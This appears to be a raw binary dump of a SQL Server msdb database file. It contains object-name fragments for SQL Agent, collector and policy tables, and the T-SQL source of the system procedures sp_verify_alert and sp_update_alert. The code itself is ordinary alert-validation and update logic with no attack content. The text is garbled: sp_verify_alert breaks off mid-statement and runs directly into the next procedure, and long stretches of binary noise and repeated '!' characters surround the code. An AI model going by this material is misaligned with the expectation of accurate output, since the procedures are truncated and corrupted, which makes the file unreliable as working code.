	@BHPsp_sqlagent_notifydbomsdb0N$	@6<Dsysjobs_viewdbomsdb0N$	@,2:sysjobsdbomsdb0N$	@6<Dsysschedulesdbomsdb0N$	@RX`sysoriginatingservers_viewdbomsdb0N$	@8>Fsysjobhistorydbomsdb0N$	@<BJsysjobschedulesdbomsdb0N$	@8>Fsysjobserversdbomsdb0N$	@NT\sp_delete_job_referencesdbomsdb0N$		@4:Bsysjobstepsdbomsdb0H	@>DLsystargetserversdbomsdb0H	@8>Fsysjobserversdbomsdb0l	@.4@xp_msverdbomaster0	@FLXxp_instance_regwritedbomaster0	pZsp_verify_credential_identifiers02	@DJVxp_instance_regreaddbomaster0k	@>DLsystargetserversdbomsdb0k	@>DLsysnotificationsdbomsdb0k	@,2:sysjobsdbomsdb0k	@6<Dsysoperatorsdbomsdb034	@JPXsysmaintplan_logdetaildbomsdb034	@>DLsysmaintplan_logdbomsdb0lX	pDsysmaintplan_subplans0lX	@HNVsysmaintplan_subplansdbomsdb0lX	@8>Fsp_delete_jobdbomsdb0lX	@LRZsp_maintplan_delete_logdbomsdb0|	pDsysmaintplan_subplans0|	@<BJsysjobschedulesdbomsdb0|	pPsp_maintplan_update_subplan0ޠ	pDsysmaintplan_subplans0ޠ	p>sysmaintplan_plans0u	@>DLsysmaintplan_logdbomsdb0|	`flsyscollector_collection_sets_internaldbo0	*p	`TZsyscollector_collection_setsdbo0BNd	`06sp_add_jobdbo0BNd	`<Bsp_add_jobserverdbo0BNd	`@Fsp_attach_scheduledbo0BNd	`8>sp_add_jobstepdbo0BNd	@TZbsp_verify_proxy_identifiersdbomsdb0{rX	pTsysschedules_localserver_view0{rX	`flsyscollector_collection_sets_internaldbo0{rX	p4sysproxylogin0{rX	pPsp_verify_proxy_identifiers0L	`>Dsp_update_jobstepdbo0L	`28sysjobstepsdbo0@	pTsysschedules_localserver_view0@	`@Fsp_detach_scheduledbo0@	`RXsp_syscollector_delete_jobsdbo0@	`flsyscollector_collection_sets_internaldbo0@	`@Fsp_attach_scheduledbo0@	`\bsp_syscollector_update_job_proxydbo0@	`TZsyscollector_collection_setsdbo0@	`RXsp_syscollector_create_jobsdbo04^	`djsyspolicy_policy_categories_internaldbo0	`X^syspolicy_object_sets_internaldbo0	`RXsyspolicy_management_facetsdbo0ð	@HNVsyspolicy_object_setsdbomsdb0ð	`V\sp_syspolicy_check_membershipdbo0	`RXfn_sysdac_is_currentuser_sadbo0	pLsysdac_instances_internal09	`LRfn_sysdac_is_dac_creatordbo0'^	`LRfn_sysdac_is_dac_creatordbo0'^	`NTsysdac_instances_internaldbo0`	`<Bsysdac_instancesdbo0`	pLsysdac_instances_internal0	`JPsysdac_history_internaldbo0	`<Bsysdac_instancesdbo0	`LRfn_sysdac_is_dac_creatordbo0	`<Bsysdac_instancesdbo0	pLsysdac_instances_internal0nV	@FLXxp_instance_regwritedbomasterlan_logdetaidv4l@6t
P.d 
h
P0nlz<~>.$&
j
Z		
~&rH(X		Lh0T,rFD
`<()Y3vTCREATE PROCEDURE sp_verify_alert
  @name                          sysname,
  @message_id                    INT,
  @severity                      INT,
  @enabled                       TINYINT,
  @delay_between_responses       INT,
  @notification_message          NVARCHAR(512),
  @include_event_description_in  TINYINT,
  @database_name                 sysname,
  @event_description_keyword     NVARCHAR(100),
  @job_id                        UNIQUEIDENTIFIER OUTPUT,
  @job_name                      sysname          OUTPUT,
  @occurrence_count              INT,
  @raise_snmp_trap               TINYINT,
  @performance_condition         NVARCHAR(512),
  @category_name                 sysname,
  @category_id                   INT              OUTPUT,
  @count_reset_date              INT,
  @count_reset_time              INT,
  @wmi_namespace      NVARCHAR(512),      -- New for 9.0
  @wmi_query          NVARCHAR(512),      -- New for 9.0
  @event_id        INT     OUTPUT   -- New for 9.0
AS
BEGIN
  DECLARE @retval               INT
  DECLARE @non_alertable_errors VARCHAR(512)
  DECLARE @message_id_as_string VARCHAR(10)
  DECLARE @res_valid_range      NVARCHAR(100)
  DECLARE @alert_no_wmi_check   INT
  DECLARE @job_owner_sid      VARBINARY(85)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name                      = LTRIM(RTRIM(@name))
  SELECT @notification_message      = LTRIM(RTRIM(@notification_message))
  SELECT @database_name             = LTRIM(RTRIM(@database_name))
  SELECT @event_description_keyword = LTRIM(RTRIM(@event_description_keyword))
  SELECT @job_name                  = LTRIM(RTRIM(@job_name))
  SELECT @performance_condition     = LTRIM(RTRIM(@performance_condition))
  SELECT @category_name             = LTRIM(RTRIM(@category_name))
  SELECT @alert_no_wmi_check        = 0
  
  -- Only a sysadmin can do this
  
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if the NewName is unique
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysalerts
              WHERE (name = @name)))
  BEGIN
    RAISERROR(14261, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Check if the user has supplied MessageID OR Severity OR Performance-Condition OR WMI namespace/query
  IF ((@performance_condition IS NULL) AND (@message_id = 0) AND (@severity = 0) AND ((@wmi_namespace IS NULL) OR (@wmi_query IS NULL))) OR
     ((@performance_condition IS NOT NULL) AND ((@message_id <> 0) OR (@severity <> 0) OR (@wmi_namespace IS NOT NULL) OR (@wmi_query IS NOT NULL))) OR
     ((@message_id <> 0) AND ((@performance_condition IS NOT NULL) OR (@severity <> 0) OR (@wmi_namespace IS NOT NULL) OR (@wmi_query IS NOT NULL))) OR
     ((@severity <> 0) AND ((@performance_condition IS NOT NULL) OR (@message_id <> 0) OR (@wmi_namespace IS NOT NULL) OR (@wmi_query IS NOT NULL)))
  BEGIN
    RAISERROR(14500, 16, 1)
    RETURN(1) -- Failure
  END

  -- Check the Severity
  IF ((@severity < 0) OR (@severity > 25))
  BEGIN
    RAISERROR(14266, 16, 1, '@severity', '0..25')
    RETURN(1) -- Failure
  END

    -- Check the MessageID
    -- Allow if message id = 50000 (RAISERROR called with no specific message id)
    IF(@message_id <> 50000)
    BEGIN
        IF (@message_id <> 0) AND
            (NOT EXISTS (SELECT message_id
                            FROM sys.messages
                            WHERE message_id = @message_id))
        BEGIN
            SELECT @message_id_as_string = CONVERT(VARCHAR, @message_id)
            RAISERROR(14262, 16, 1, '@message_id', @message_id_as_string)
            RETURN(1) -- Failure
        END
    END
  
  -- Check if it is legal to set an alert on this MessageID
  DECLARE @TempRetVal TABLE (RetVal INT)
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'NonAlertableErrors',
                                         @non_alertable_errors OUTPUT,
                                         N'no_output'
  IF (ISNULL(@non_alertable_errors, N'NULL') <> N'NULL')
  BEGIN
    DECLARE @message_id_as_char VARCHAR(10)

    SELECT @message_id_as_char = CONVERT(VARCHAR(10), @message_id)
    INSERT INTO @TempRetVal
    EXECUTE ('IF (' + @message_id_as_char + ' IN (' + @non_alertable_errors + ')) SELECT 1')
  END

  IF (EXISTS (SELECT *
              FROM @TempRetVal))
  BEGIN
    RAISERROR(14506, 16, 1, @message_id)
    RETURN(1) -- Failure
  END

  -- Enabled must be 0 or 1
  IF (@enabled NOT IN (0, 1))
  BEGIN
    RAISERROR(14266, 16, 1, '@enabled', '0, 1')
    RETURN(1) -- Failure
  END

  -- DelayBetweenResponses must be > 0
  IF (@delay_between_responses < 0)
  BEGIN
    SELECT @res_valid_range = FORMATMESSAGE(14206)
    RAISERROR(14266, 16, 1, '@delay_between_responses', @res_valid_range)
    RETURN(1) -- Failure
  END

  -- NOTE: We don't check the notification message

  -- Check IncludeEventDescriptionIn
  IF ((@include_event_description_in < 0) OR (@include_event_description_in > 7))
  BEGIN
    SELECT @res_valid_range = FORMATMESSAGE(14208)
    RAISERROR(14266, 16, 1, '@include_event_description_in', @res_valid_range)
    RETURN(1) -- Failure
  END

  -- Check the database name
  IF (@database_name IS NOT NULL) AND (DB_ID(@database_name) IS NULL)
  BEGIN
    RAISERROR(15010, 16, 1, @database_name)
    RETURN(1) -- Failure
  END

  -- NOTE: We don't check the event description keyword

  -- Check JobName/ID
  IF ((@job_id IS NOT NULL) OR (@job_name IS NOT NULL))
  BEGIN
    -- We use '' as a special value which means 'no job' (we cannot use NULL since this forces
    -- sp_update_alert to use the existing value)
    IF (@job_name = N'')
      SELECT @job_id = 0x00
    ELSE
    BEGIN
      EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                  '@job_id',
                                                   @job_name OUTPUT,
                                                   @job_id   OUTPUT,
                                       @owner_sid = @job_owner_sid OUTPUT
      IF (@retval <> 0)
        RETURN(1) -- Failure
        
     -- Check permissions beyond what's checked by the sysjobs_view
     -- SQLAgentReaderRole and SQLAgentOperatorRole can see all jobs but
     -- cannot modify them
     IF (@job_owner_sid <> SUSER_SID()                   -- does not own the job
        AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))   -- is not sysadmin
     BEGIN
       RAISERROR(14525, -1, -1); 
       RETURN(1) -- Failure
     END
        
      -- Check that the job is a local job
      IF (NOT EXISTS (SELECT *
                      FROM msdb.dbo.sysjobservers
                      WHERE (job_id = @job_id)
                        AND (server_id = 0)))
      BEGIN
        RAISERROR(14527, -1, -1, @job_name)
        RETURN(1) -- Failure
      END
    END
  END

  -- OccurrenceCount must be > 0
  IF (@occurrence_count < 0)
  BEGIN
    RAISERROR(14266, 16, 1, '@occurrence_count', '0..n')
    RETURN(1) -- Failure
  END

  -- RaiseSNMPTrap must be 0 or 1
  IF (@raise_snmp_trap NOT IN (0, 1))
  BEGIN
    RAISERROR(14266, 16, 1, '@raise_snmp_trap', '0, 1')
    RETURN(1) -- Failure
  END

  -- Check the performance condition (including invalid parameter combinations)
  IF (@performance_condition IS NOT NULL)
  BEGIN
    IF (@database_name IS NOT NULL)
    BEGIN
      RAISERROR(14505, 16, 1, '@database_name')
      RETURN(1) -- Failure
    END

    IF (@event_description_keyword IS NOT NULL)
    BEGIN
      RAISERROR(14505, 16, 1, '@event_description_keyword')
      RETURN(1) -- Failure
    END
    
    IF (@wmi_namespace IS NOT NULL)
    BEGIN
      R!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(CvsQCREATE PROCEDURE sp_update_alert
  @name                         sysname,
  @new_name                     sysname          = NULL,
  @enabled                      TINYINT          = NULL,
  @message_id                   INT              = NULL,
  @severity                     INT              = NULL,
  @delay_between_responses      INT              = NULL,
  @notification_message         NVARCHAR(512)    = NULL,
  @include_event_description_in TINYINT          = NULL, -- 0 = None, 1 = Email, 2 = Pager. 4 = NetSend, 7 = All
  @database_name                sysname          = NULL,
  @event_description_keyword    NVARCHAR(100)    = NULL,
  @job_id                       UNIQUEIDENTIFIER = NULL, -- If provided must NOT also provide job_name
  @job_name                     sysname          = NULL, -- If provided must NOT also provide job_id
  @occurrence_count             INT              = NULL, -- Can only be set to 0
  @count_reset_date             INT              = NULL,
  @count_reset_time             INT              = NULL,
  @last_occurrence_date         INT              = NULL, -- Can only be set to 0
  @last_occurrence_time         INT              = NULL, -- Can only be set to 0
  @last_response_date           INT              = NULL, -- Can only be set to 0
  @last_response_time           INT              = NULL, -- Can only be set to 0
  @raise_snmp_trap              TINYINT          = NULL,
  @performance_condition        NVARCHAR(512)    = NULL, -- New for 7.0
  @category_name                sysname          = NULL, -- New for 7.0
  @wmi_namespace           sysname         = NULL, -- New for 9.0
  @wmi_query               NVARCHAR(512)   = NULL  -- New for 9.0
AS
BEGIN
  DECLARE @x_enabled                   TINYINT
  DECLARE @x_message_id                INT
  DECLARE @x_severity                  INT
  DECLARE @x_delay_between_responses   INT
  DECLARE @x_notification_message      NVARCHAR(512)
  DECLARE @x_include_event_description TINYINT
  DECLARE @x_database_name             sysname
  DECLARE @x_event_description_keyword NVARCHAR(100)
  DECLARE @x_occurrence_count          INT
  DECLARE @x_count_reset_date          INT
  DECLARE @x_count_reset_time          INT
  DECLARE @x_last_occurrence_date      INT
  DECLARE @x_last_occurrence_time      INT
  DECLARE @x_last_response_date        INT
  DECLARE @x_last_response_time        INT
  DECLARE @x_flags                     INT
  DECLARE @x_performance_condition     NVARCHAR(512)
  DECLARE @x_job_id                    UNIQUEIDENTIFIER
  DECLARE @x_category_id               INT
  DECLARE @x_event_id                  INT
  DECLARE @x_wmi_namespace          sysname
  DECLARE @x_wmi_query              NVARCHAR(512)

  DECLARE @include_event_desc_code     TINYINT
  DECLARE @return_code                 INT
  DECLARE @duplicate_name              sysname
  DECLARE @category_id                 INT
  DECLARE @alert_id                    INT
  DECLARE @cached_attribute_modified   INT
  DECLARE @event_id                 INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @new_name                  = LTRIM(RTRIM(@new_name))
  SELECT @job_name                  = LTRIM(RTRIM(@job_name))
  SELECT @notification_message      = LTRIM(RTRIM(@notification_message))
  SELECT @database_name             = LTRIM(RTRIM(@database_name))
  SELECT @event_description_keyword = LTRIM(RTRIM(@event_description_keyword))
  SELECT @performance_condition     = LTRIM(RTRIM(@performance_condition))
  SELECT @category_name             = LTRIM(RTRIM(@category_name))

  -- Are we modifying an attribute which SQLServerAgent caches?
  IF ((@new_name                     IS NOT NULL) OR
      (@enabled                      IS NOT NULL) OR
      (@message_id                   IS NOT NULL) OR
      (@severity                     IS NOT NULL) OR
      (@delay_between_responses      IS NOT NULL) OR
      (@notification_message         IS NOT NULL) OR
      (@include_event_description_in IS NOT NULL) OR
      (@database_name                IS NOT NULL) OR
      (@event_description_keyword    IS NOT NULL) OR
      (@job_id                       IS NOT NULL) OR
      (@job_name                     IS NOT NULL) OR
      (@last_response_date           IS NOT NULL) OR
      (@last_response_time           IS NOT NULL) OR
      (@raise_snmp_trap              IS NOT NULL) OR
      (@performance_condition        IS NOT NULL) OR
      (@wmi_namespace             IS NOT NULL) OR
      (@wmi_query              IS NOT NULL))  
    SELECT @cached_attribute_modified = 1
  ELSE
    SELECT @cached_attribute_modified = 0

  -- Map a job_id of 0 to the real value we use to mean 'no job'
  IF (@job_id = CONVERT(UNIQUEIDENTIFIER, 0x00)) AND (@job_name IS NULL)
    SELECT @job_name = N''

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1)
  END

  -- Check if SQLServerAgent is in the process of starting
  EXECUTE @return_code = msdb.dbo.sp_is_sqlagent_starting
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- Check if this Alert exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysalerts
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@name', @name)
    RETURN(1)
  END

  -- Certain values (if supplied) may only be updated to 0
  IF (@occurrence_count <> 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@occurrence_count', '0')
    RETURN(1) -- Failure
  END
  IF (@last_occurrence_date <> 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@last_occurrence_date', '0')
    RETURN(1) -- Failure
  END
  IF (@last_occurrence_time <> 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@last_occurrence_time', '0')
    RETURN(1) -- Failure
  END
  IF (@last_response_date <> 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@last_response_date', '0')
    RETURN(1) -- Failure
  END
  IF (@last_response_time <> 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@last_response_time', '0')
    RETURN(1) -- Failure
  END

  -- Get existing (@x_) values
  SELECT @alert_id                    = id,
         @x_enabled                   = enabled,
         @x_message_id                = message_id,
         @x_severity                  = severity,
         @x_delay_between_responses   = delay_between_responses,
         @x_notification_message      = notification_message,
         @x_include_event_description = include_event_description,
         @x_database_name             = database_name,
         @x_event_description_keyword = event_description_keyword,
         @x_occurrence_count          = occurrence_count,
         @x_count_reset_date          = count_reset_date,
         @x_count_reset_time          = count_reset_time,
         @x_job_id                    = job_id,
         @x_last_occurrence_date      = last_occurrence_date,
         @x_last_occurrence_time      = last_occurrence_time,
         @x_last_response_date        = last_response_date,
         @x_last_response_time        = last_response_time,
         @x_flags                     = flags,
         @x_performance_condition     = performance_condition,
         @x_category_id               = category_id,
       @x_event_id              = event_id
  FROM msdb.dbo.sysalerts
  WHERE (name = @name)
  
  SELECT @x_job_id = sjv.job_id
  FROM msdb.dbo.sysalerts    sa,
       msdb.dbo.sysjobs_view sjv
  WHERE (sa.job_id = sjv.job_id)
    AND (sa.name = @name)

  -- Fill out the values for all non-supplied parameters from the existsing values
  IF (@x_event_id = 8)
  BEGIN
   -- WMI alert type
   IF (@wmi_namespace IS NULL) SELECT @wmi_namespace = @x_database_name
   IF (@wmi_query IS NULL) SELECT @wmi_query = @x_performance_condition
  END
  ELSE
  BEGIN
   -- Non-WMI alert type
   IF (@database_name IS NULL) SELECT @database_name = @x_data!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Y3sQbase_name
   IF (@performance_condition IS NULL) SELECT @performance_condition = @x_performance_condition
  END
   
  IF (@enabled                      IS NULL) SELECT @enabled                      = @x_enabled
  IF (@message_id                   IS NULL) SELECT @message_id                   = @x_message_id
  IF (@severity                     IS NULL) SELECT @severity                     = @x_severity
  IF (@delay_between_responses      IS NULL) SELECT @delay_between_responses      = @x_delay_between_responses
  IF (@notification_message         IS NULL) SELECT @notification_message         = @x_notification_message
  IF (@include_event_description_in IS NULL) SELECT @include_event_description_in = @x_include_event_description
  IF (@event_description_keyword    IS NULL) SELECT @event_description_keyword    = @x_event_description_keyword
  IF (@job_id IS NULL) AND (@job_name IS NULL) SELECT @job_id                     = @x_job_id
  IF (@occurrence_count             IS NULL) SELECT @occurrence_count             = @x_occurrence_count
  IF (@count_reset_date             IS NULL) SELECT @count_reset_date             = @x_count_reset_date
  IF (@count_reset_time             IS NULL) SELECT @count_reset_time             = @x_count_reset_time
  IF (@last_occurrence_date         IS NULL) SELECT @last_occurrence_date         = @x_last_occurrence_date
  IF (@last_occurrence_time         IS NULL) SELECT @last_occurrence_time         = @x_last_occurrence_time
  IF (@last_response_date           IS NULL) SELECT @last_response_date           = @x_last_response_date
  IF (@last_response_time           IS NULL) SELECT @last_response_time           = @x_last_response_time
  IF (@raise_snmp_trap              IS NULL) SELECT @raise_snmp_trap              = @x_flags & 0x1
  IF (@category_name                IS NULL) SELECT @category_name = name FROM msdb.dbo.syscategories WHERE (category_id = @x_category_id)

  IF (@category_name IS NULL)
  BEGIN
    SELECT @category_name = name
    FROM msdb.dbo.syscategories
    WHERE (category_id = 98)
  END

  -- Turn [nullable] empty string parameters into NULLs
  IF (@new_name                  = N'') SELECT @new_name                  = NULL
  IF (@notification_message      = N'') SELECT @notification_message      = NULL
  IF (@database_name             = N'') SELECT @database_name             = NULL
  IF (@event_description_keyword = N'') SELECT @event_description_keyword = NULL
  IF (@performance_condition     = N'') SELECT @performance_condition     = NULL
  IF (@wmi_namespace        = N'') SELECT @wmi_namespace         = NULL
  IF (@wmi_query            = N'') SELECT @wmi_query             = NULL

  -- Verify the Alert
  IF (@job_id = CONVERT(UNIQUEIDENTIFIER, 0x00))
    SELECT @job_id = NULL
  EXECUTE @return_code = sp_verify_alert @new_name,
                                         @message_id,
                                         @severity,
                                         @enabled,
                                         @delay_between_responses,
                                         @notification_message,
                                         @include_event_description_in,
                                         @database_name,
                                         @event_description_keyword,
                                         @job_id OUTPUT,
                                         @job_name OUTPUT,
                                         @occurrence_count,
                                         @raise_snmp_trap,
                                         @performance_condition,
                                         @category_name,
                                         @category_id OUTPUT,
                                         @count_reset_date,
                                         @count_reset_time,
                                         @wmi_namespace,
                                         @wmi_query,
                                     @event_id OUTPUT
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- If the user didn't supply a NewName, use the old one.
  -- NOTE: This must be done AFTER sp_verify_alert.
  IF (@new_name IS NULL)
    SELECT @new_name = @name

  -- Turn the 1st 'flags' bit on or off accordingly
  IF (@raise_snmp_trap = 0)
    SELECT @x_flags = @x_flags & 0xFFFE
  ELSE
    SELECT @x_flags = @x_flags | 0x0001

  -- For WMI alerts replace 
  -- database_name with wmi_namespace and 
  -- performance_conditon with wmi_query
  -- so we can store them in those columns in sysalerts table
  IF (@event_id = 8)
  BEGIN
   SELECT @database_name = @wmi_namespace
   SELECT @performance_condition = @wmi_query
  END

  -- Check if this Alert already exists
  SELECT @duplicate_name = FORMATMESSAGE(14205)
  SELECT @duplicate_name = name
  FROM msdb.dbo.sysalerts
  WHERE ((event_id = 8) AND 
       (ISNULL(performance_condition, N'') = ISNULL(@performance_condition, N'')) AND
       (ISNULL(database_name, N'') = ISNULL(@database_name, N''))) OR
      ((ISNULL(event_id,1) <> 8) AND 
       (ISNULL(performance_condition, N'apples') = ISNULL(@performance_condition, N'oranges'))) OR 
      ((performance_condition IS NULL) AND
         (message_id = @message_id) AND
         (severity = @severity) AND
         (ISNULL(database_name, N'') = ISNULL(@database_name, N'')) AND
         (ISNULL(event_description_keyword, N'') = ISNULL(@event_description_keyword, N'')))
  IF (@duplicate_name <> FORMATMESSAGE(14205) AND @duplicate_name <> @name)
  BEGIN
    RAISERROR(14501, 16, 1, @duplicate_name)
    RETURN(1) -- Failure
  END

  -- Finally, do the actual UPDATE
  UPDATE msdb.dbo.sysalerts
  SET name                        = @new_name,
      message_id                  = @message_id,
      severity                    = @severity,
      enabled                     = @enabled,
      delay_between_responses     = @delay_between_responses,
      notification_message        = @notification_message,
      include_event_description   = @include_event_description_in,
      database_name               = @database_name,
      event_description_keyword   = @event_description_keyword,
      job_id                      = ISNULL(@job_id, CONVERT(UNIQUEIDENTIFIER, 0x00)),
      occurrence_count            = @occurrence_count,
      count_reset_date            = @count_reset_date,
      count_reset_time            = @count_reset_time,
      last_occurrence_date        = @last_occurrence_date,
      last_occurrence_time        = @last_occurrence_time,
      last_response_date          = @last_response_date,
      last_response_time          = @last_response_time,
      flags                       = @x_flags,
      performance_condition       = @performance_condition,
      category_id                 = @category_id,
      event_id               = @event_id
  WHERE (name = @name)

  -- Notify SQLServerAgent of the change
  IF (@cached_attribute_modified = 1)
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'A',
                                        @alert_id    = @alert_id,
                                        @action_type = N'U'
  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`zKLҬC"64R<p7jJR<p71oV`d8R<p7`d8eQ`d8eQ`d8eQ`d8eQ`d8eQ`d8eQ`d8eQ`d8eQ`d8eQ	`d8eQ
`d8eQ`d8eQ`d8eQ
`d8eQ`d8eQ`d8eQ`d8"B`d8"B`d8"B`d8lĄX9ĄX9MޅĄX9&nĄX9XĄX9XĄX9ADĄX9ADĄX9ە
ĄX9iML:(CL:(CL:(CL:L:eQL:eQL:MޅL:&nL:XL:XL:XL:ADL:ADL:ە
L:iM(2;7Dj3(2;7Dj3(2;7Dj3'75&'75&'7,)'7,)'7" '7" 7L7,)7L7,)7L7" pp8,)pp8,)pp8,)9(C95&95&9" 9)?K9)?K6	*p60X6E656|6|6|6|
B7W
B7W
B7
B7\1i
B7\1i
B7

B7

B7

B7


B7

B7	*p
B7aS,
B7aS,
B70X
B7E
B75
B7|
B7|
B7|
B7BNd
B7qFf8\1iFf8\1iFf8
9W9W9GO9L:9ĄX990X959|9|9|	9|
9|:GO:0X:|:|:|
:|774^774^77H\8P"\8P"\8HUx977Ux9P"Ux9P"Ux93Ux9Hl:77l:P"l:P"l:H#&7L*#&7L*#&7L*#&7,#&7,#&7,#&7,#&7,#&7,	G8ݐ.!G8ݐ.*l9p+l9p+::L*::L*::L*A)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?K	A)?K
A)?KA)?KA)?K
A)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KAq(2;7Dj3(2;7Dj3(2;7Dj3E;'E;'E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8'75&'75&'7,)'7,)'7" '7" 7L7,)7L7,)7L7" pp8,)pp8,)pp8,)9(C95&95&9" 9)?K9)?K:5&:5&:5&;5&;5&;,);,);" ;" ;" ;" ;" ;" ;" ;" ;" 	;" 
;" 6	*p60X6E656|6|6|6|
B7W
B7W
B7
B7\1i
B7\1i
B7

B7

B7

B7


B7

B7	*p
B7aS,
B7aS,
B70X
B7E
B75
B7|
B7|
B7|
B7BNd
B7qFf8\1iFf8\1iFf8
9W9W9GO9L:9ĄX990X959|9|9|	9|
9|:GO:0X:|:|:|
:|774^774^77H\8P"\8H
,

lL04PhtD|`lhL0`D(|pT8X<(P4


tX< x\@$ 
8
p



	


				t	X	T
<	 	
d

|x\@$H,d@x\$`bOS303h?6iM28sysjobs_viewdbo6O"2syssubsystems6gw$6sp_verify_proxy6	S28sysoperatorsdbo6BU>Dsp_sqlagent_notifydbo6(l,2sysalertsdbo6~x.sysjobsteps6G=`8>sysmail_profiledbo64wKNsp_get_schedule_description6aS,flsyscollector_collection_items_internaldbo6~D1^sp_syscollector_stop_collection_set6
B7^dsyscollector_config_store_internaldbo6'8>sp_update_alertdbo6V\syspolicy_object_sets_internaldbo6.PVsyspolicy_policies_internaldbo6O,sysproxies6.HNsp_syspolicy_create_jobdbo63m	TZsp_syspolicy_check_membershipdbo6DLRsysdac_instances_internaldbo6sBR6<logmarkhistorydbo6Qbhsysutility_mi_configuration_internaldbo6U-jpsysutility_ucp_processing_state_internaldbo6Hpsysutility_ucp_filegroups_with_policy_violations_internaldbo6)#=qntsysutility_ucp_mi_database_health_internaldbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!